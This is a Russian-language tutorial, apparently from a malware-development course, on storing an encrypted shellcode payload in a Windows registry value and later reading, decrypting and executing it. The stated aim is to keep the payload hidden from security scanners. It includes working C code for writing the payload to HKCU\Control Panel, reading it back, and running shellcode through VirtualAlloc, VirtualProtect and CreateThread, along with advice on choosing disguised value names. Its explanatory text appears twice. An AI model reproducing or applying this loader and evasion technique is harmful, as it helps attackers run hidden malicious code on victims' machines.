В общем из предыдущих уроков мы с вами знаем, что payload не обязательно должен храниться внутри вредоносной программы.
Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.
Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.
Также мы будем использовать условную компиляцию
Условная Компиляция
Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать, либо не будет.
Две ниже приведенные секции предоставляют базовый код, для понимания как будут написаны операции чтения и записи с использованием условной компиляции.
Операция записи
Операция чтения
Запись в реестр
Этот раздел расскажет о функции WriteShellcodeToRegistry. Функция принимает два параметра:
pShellcode - Payload для записи.
dwShellcodeSize - Размер записываемого payload.
REGISTRY & REGSTRING
Код начинается с двух предопределенных констант REGISTRY и REGSTRING, которые устанавливаются на Control Panel и Ru-SferaPW соответственно.
REGISTRY - это имя ключа реестра, который будет содержать payload.
Полный путь REGISTRY будет такой Computer\HKEY_CURRENT_USER\Control Panel.
То, что функция будет делать программно, - это создание нового значения строки под этим ключом реестра для хранения payload.
REGSTRING — это имя создаваемого значения строки. Очевидно, что в реальной ситуации стоит использовать более реалистичное значение, такое как PanelUpdateService или AppSnapshot.
Открытие дескриптора для ключа реестра
Используется WinAPI функция RegOpenKeyExA для открытия дескриптора к указанному ключу реестра. Это необходимо для создания, редактирования или удаления значений в ключе реестра.
Функция RegOpenKeyExA:
Четвертый параметр RegOpenKeyExA определяет права доступа к ключу реестра. Так как программа должна создать значение в ключе реестра, выбрано KEY_SET_VALUE. Полный список прав доступа к реестру можно найти в документации Microsoft.
Установка значения реестра
Далее используется функция WinAPI RegSetValueExA, которая принимает открытый дескриптор из RegOpenKeyExA и создает новое значение на основе второго параметра, REGSTRING. Она также записывает payload в только что созданное значение.
Функция RegSetValueExA:
Также стоит отметить, что четвертый параметр определяет тип данных для значения реестра. В этом случае он установлен на REG_BINARY, так как payload представляет собой просто список байтов. Полный список типов данных можно найти в документации Microsoft.
Закрытие дескриптора ключа реестра
Наконец, используется RegCloseKey для закрытия дескриптора ключа реестра, который был открыт.
Функция RegCloseKey:
Запись в реестр
Чтение из реестра
Теперь, когда payload записан в строковое значение RuSferaPw внутри ключа реестра Computer\HKEY_CURRENT_USER\Control Panel, пришло время написать другую реализацию, которая будет считывать это значение в реестре и запускать PayLoad.
Этот раздел расскажет о функции ReadShellcodeFromRegistry (показанной ниже).
Функция принимает два параметра:
sPayloadSize - Размер payload, который нужно прочитать.
ppPayload - Буфер, в котором будет храниться полученный payload.
Выделение памяти
Функция начинает с выделения памяти размером sPayloadSize, в которой будет храниться payload.
Чтение значения из реестра
Функция RegGetValueA требует указания ключа реестра и значения, которое нужно прочитать, которыми являются REGISTRY и REGSTRING соответственно.
В предыдущей статье можно было получать payload из интернета в нескольких частях любого размера, однако при работе с RegGetValueA это невозможно, так как функция не читает байты как поток данных, а скорее целиком.
Все это означает, что знание размера payload является обязательным при реализации чтения.
Четвертый параметр может быть использован для ограничения типа данных, однако эта реализация использует RRF_RT_ANY, что означает любой тип данных. В качестве альтернативы можно было бы использовать RRF_RT_REG_BINARY, так как payload представляет собой двоичные данные. Наконец, payload считывается в pBytes, который был ранее выделен с использованием HeapAlloc.
Исполнение Payload
После того как payload прочитан из реестра и сохранен в выделенном буфере, используется функция RunShellcode для его исполнения. Обратите внимание, что эта функция была описана в предыдущих модулях.
Запись в реестр - Демо
До запуска скомпилированного кода, показанного выше, ключ реестра выглядит следующим образом:
После запуска программы создается новое строковое значение реестра с payload, зашифрованным с помощью RC4.
Чтение из реестра - Демо
Программа начинает с чтения зашифрованного payload из реестра.
Далее программа будет расшифровывать payload.
И, наконец, расшифрованный payload исполняется.
Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.
Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.
Также мы будем использовать условную компиляцию
Условная Компиляция
Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать, либо не будет.
Две ниже приведенные секции предоставляют базовый код, для понимания как будут написаны операции чтения и записи с использованием условной компиляции.
Операция записи
C:
#define WRITEMODE // Код, который будет скомпилирован в случае если нужно записать данные в реестр
// если определено 'WRITEMODE'
#ifdef WRITEMODE
// Код, необходимый для записи payload в реестр
#endif
#ifdef READMODE // Код, который НЕ будет скомпилирован
#endif
Операция чтения
C:
#define READMODE // Код, который будет скомпилирован в случае если нужно считать данные из реестра
// если определено 'READMODE'
#ifdef READMODE
// Код, необходимый для чтения payload из реестра
#endif
#ifdef WRITEMODE // Код, который НЕ будет скомпилирован
#endif
Запись в реестр
Этот раздел расскажет о функции WriteShellcodeToRegistry. Функция принимает два параметра:
pShellcode - Payload для записи.
dwShellcodeSize - Размер записываемого payload.
REGISTRY & REGSTRING
Код начинается с двух предопределенных констант REGISTRY и REGSTRING, которые устанавливаются на Control Panel и Ru-SferaPW соответственно.
C:
// Ключ реестра для чтения/записи
#define REGISTRY "Control Panel"
#define REGSTRING "RuSferaPW"
REGISTRY - это имя ключа реестра, который будет содержать payload.
Полный путь REGISTRY будет такой Computer\HKEY_CURRENT_USER\Control Panel.
То, что функция будет делать программно, - это создание нового значения строки под этим ключом реестра для хранения payload.
REGSTRING — это имя создаваемого значения строки. Очевидно, что в реальной ситуации стоит использовать более реалистичное значение, такое как PanelUpdateService или AppSnapshot.
Открытие дескриптора для ключа реестра
Используется WinAPI функция RegOpenKeyExA для открытия дескриптора к указанному ключу реестра. Это необходимо для создания, редактирования или удаления значений в ключе реестра.
Функция RegOpenKeyExA:
C:
LSTATUS RegOpenKeyExA(
[in] HKEY hKey, // Дескриптор открытого ключа реестра
[in, optional] LPCSTR lpSubKey, // Имя открываемого подключа реестра (константа REGISTRY)
[in] DWORD ulOptions, // Опции при открытии ключа - Установлено в 0
[in] REGSAM samDesired, // Права доступа
[out] PHKEY phkResult // Указатель на переменную, которая получает дескриптор открытого ключа
);
Четвертый параметр RegOpenKeyExA определяет права доступа к ключу реестра. Так как программа должна создать значение в ключе реестра, выбрано KEY_SET_VALUE. Полный список прав доступа к реестру можно найти в документации Microsoft.
C:
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
Установка значения реестра
Далее используется функция WinAPI RegSetValueExA, которая принимает открытый дескриптор из RegOpenKeyExA и создает новое значение на основе второго параметра, REGSTRING. Она также записывает payload в только что созданное значение.
Функция RegSetValueExA:
C:
LSTATUS RegSetValueExA(
[in] HKEY hKey, // Дескриптор открытого ключа реестра
[in, optional] LPCSTR lpValueName, // Имя устанавливаемого значения (константа REGSTRING)
DWORD Reserved, // Установлено в 0
[in] DWORD dwType, // Тип данных, на который указывает параметр lpData
[in] const BYTE *lpData, // Данные для сохранения
[in] DWORD cbData // Размер информации, на которую указывает параметр lpData, в байтах
);
Также стоит отметить, что четвертый параметр определяет тип данных для значения реестра. В этом случае он установлен на REG_BINARY, так как payload представляет собой просто список байтов. Полный список типов данных можно найти в документации Microsoft.
C:
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
Закрытие дескриптора ключа реестра
Наконец, используется RegCloseKey для закрытия дескриптора ключа реестра, который был открыт.
Функция RegCloseKey:
C:
LSTATUS RegCloseKey(
[in] HKEY hKey // Дескриптор открытого ключа реестра, который будет закрыт
);
Запись в реестр
C:
BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {
BOOL bSTATE = TRUE;
LSTATUS STATUS = NULL;
HKEY hKey = NULL;
printf("[i] Запись 0x%p [ Размер: %ld ] в \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
if (ERROR_SUCCESS != STATUS) {
printf("[!] Ошибка при открытии ключа RegOpenKeyExA: %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
if (ERROR_SUCCESS != STATUS){
printf("[!] Ошибка при записи RegSetValueExA: %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] Готово ! \n");
_EndOfFunction:
if (hKey)
RegCloseKey(hKey);
return bSTATE;
}
Чтение из реестра
Теперь, когда payload записан в строковое значение RuSferaPw внутри ключа реестра Computer\HKEY_CURRENT_USER\Control Panel, пришло время написать другую реализацию, которая будет считывать это значение в реестре и запускать PayLoad.
Этот раздел расскажет о функции ReadShellcodeFromRegistry (показанной ниже).
Функция принимает два параметра:
sPayloadSize - Размер payload, который нужно прочитать.
ppPayload - Буфер, в котором будет храниться полученный payload.
Выделение памяти
Функция начинает с выделения памяти размером sPayloadSize, в которой будет храниться payload.
C:
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
Чтение значения из реестра
Функция RegGetValueA требует указания ключа реестра и значения, которое нужно прочитать, которыми являются REGISTRY и REGSTRING соответственно.
В предыдущей статье можно было получать payload из интернета в нескольких частях любого размера, однако при работе с RegGetValueA это невозможно, так как функция не читает байты как поток данных, а скорее целиком.
Все это означает, что знание размера payload является обязательным при реализации чтения.
C:
LSTATUS RegGetValueA(
[in] HKEY hkey, // Дескриптор открытого ключа реестра
[in, optional] LPCSTR lpSubKey, // Путь к ключу реестра относительно ключа, указанного в параметре hkey
[in, optional] LPCSTR lpValue, // Имя значения в реестре
[in, optional] DWORD dwFlags, // Флаги, которые ограничивают тип данных значения, которое будет запрошено
[out, optional] LPDWORD pdwType, // Указатель на переменную, которая получит код, указывающий тип данных, сохраненных в указанном значении
[out, optional] PVOID pvData, // Указатель на буфер, который получит данные значения
[in, out, optional] LPDWORD pcbData // Указатель на переменную, которая определяет размер буфера, на который указывает параметр pvData, в байтах
);
Четвертый параметр может быть использован для ограничения типа данных, однако эта реализация использует RRF_RT_ANY, что означает любой тип данных. В качестве альтернативы можно было бы использовать RRF_RT_REG_BINARY, так как payload представляет собой двоичные данные. Наконец, payload считывается в pBytes, который был ранее выделен с использованием HeapAlloc.
C:
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
Исполнение Payload
После того как payload прочитан из реестра и сохранен в выделенном буфере, используется функция RunShellcode для его исполнения. Обратите внимание, что эта функция была описана в предыдущих модулях.
C:
BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {
PVOID pShellcodeAddress = NULL;
DWORD dwOldProtection = NULL;
// Выделение виртуальной памяти для исполняемого payload
pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] Ошибка при выделении памяти VirtualAlloc: %d \n", GetLastError());
return FALSE;
}
printf("[i] Выделенная память по адресу: 0x%p \n", pShellcodeAddress);
// Копирование расшифрованного payload в выделенный адрес
memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
// Обнуление исходного расшифрованного payload
memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);
// Изменение прав доступа к памяти для обеспечения возможности выполнения
if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] Ошибка при изменении прав доступа VirtualProtect: %d \n", GetLastError());
return FALSE;
}
printf("[#] Нажмите <Enter>, чтобы запустить ... ");
getchar();
// Создание потока для исполнения payload
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] Ошибка при создании потока CreateThread: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Запись в реестр - Демо
До запуска скомпилированного кода, показанного выше, ключ реестра выглядит следующим образом:
После запуска программы создается новое строковое значение реестра с payload, зашифрованным с помощью RC4.
Чтение из реестра - Демо
Программа начинает с чтения зашифрованного payload из реестра.
Далее программа будет расшифровывать payload.
И, наконец, расшифрованный payload исполняется.
Последнее редактирование: